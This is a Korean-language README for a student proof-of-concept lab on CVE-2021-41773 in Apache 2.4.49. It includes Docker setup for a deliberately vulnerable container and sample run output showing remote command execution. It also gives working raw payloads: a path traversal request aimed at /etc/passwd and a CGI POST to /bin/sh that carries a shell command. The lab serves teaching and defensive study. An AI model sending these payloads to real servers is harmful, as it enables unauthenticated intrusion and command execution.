
CVE-2021-41773(Apache HTTP Server 2.4.49)에 대한 포괄적인 분석으로, 취약점 연구, 통제된 실험실 기반 익스플로잇, 개념 증명(PoC) 개발, 근본 원인 분석 및 교육 및 방어 보안 목적의 완화 전략을 제공합니다.
| 필드 | 세부 정보 |
|---|
| CVE ID | CVE-2021-41773 |
| 영향받는 소프트웨어 | Apache HTTP Server 2.4.49만 |
| 취약점 유형 | 경로 탐색 → 원격 코드 실행 |
| CVSS 점수 | 9.8 (심각) |
| 공개일 | 2021년 10월 |
| 수정 버전 | Apache 2.4.51 |
Apache 2.4.49는 액세스 제어 규칙을 적용하기 전에 URL 인코딩된 경로 시퀀스(%2e%2e)를 올바르게 정규화하지 못합니다. 이로 인해 공격자가 웹 루트 외부로 탐색할 수 있습니다. CGI가 활성화된 경우, 탐색을 /bin/sh로 지정하고 POST 본문을 통해 셸 명령을 제공하면 인증되지 않은 원격 코드 실행이 발생합니다.
cve-2021-41773-poc/
├── Dockerfile # Intentionally vulnerable Apache 2.4.49 lab container
├── exploit.py # Python PoC — uses raw sockets to preserve %2e encoding
├── SETUP.md # Step-by-step lab setup guide
├── README.md # This file
└── report.pdf # Full exploit development report
docker build -t apache-vuln-2449 .
docker run -d -p 8080:80 --name vuln-apache apache-vuln-2449
python3 exploit.py
==================================================
CVE-2021-41773 PoC — Lab Use Only
==================================================
[+] Target reachable — HTTP 200
[*] Path Traversal — Reading /etc/passwd
[*] Status: 403
[-] Blocked (403) — server restrictions in place
[*] RCE — Executing: id
[*] Status: 200
[+] OUTPUT:
uid=1(daemon) gid=1(daemon) groups=1(daemon)
[*] RCE — Executing: whoami
[*] Status: 200
[+] OUTPUT:
daemon
[*] RCE — Executing: hostname
[*] Status: 200
[+] OUTPUT:
e4ccca07bee7
전체 설정 지침 및 문제 해결은 SETUP.md를 참조하세요.
requests 라이브러리는 전송 전에 %2e → .로 정규화하여 익스플로잇이 실패합니다(400 반환). 이 PoC는 raw 소켓을 사용하여 HTTP 요청을 바이트 단위로 전송하며, Apache 2.4.49가 수신해야 하는 정확한 인코딩된 탐색 시퀀스를 유지합니다.
탐색 페이로드:
GET /.%2e/.%2e/.%2e/.%2e/etc/passwd HTTP/1.1
RCE 페이로드:
POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
...
echo Content-Type: text/plain; echo; id
Apache는 ACL 검사 전에 %2e%2e를 디코딩하지 못해 요청을 처리하고 CGI를 통해 라우팅한 후 POST 본문을 셸 명령으로 실행합니다.
/에 Require all granted 사용 금지Abdur Rehman Siddiqui
익스플로잇 개발 — 과제 3
이 저장소는 교육 목적으로만 제공됩니다. 작성자는 이 자료의 오용에 대해 책임을 지지 않습니다.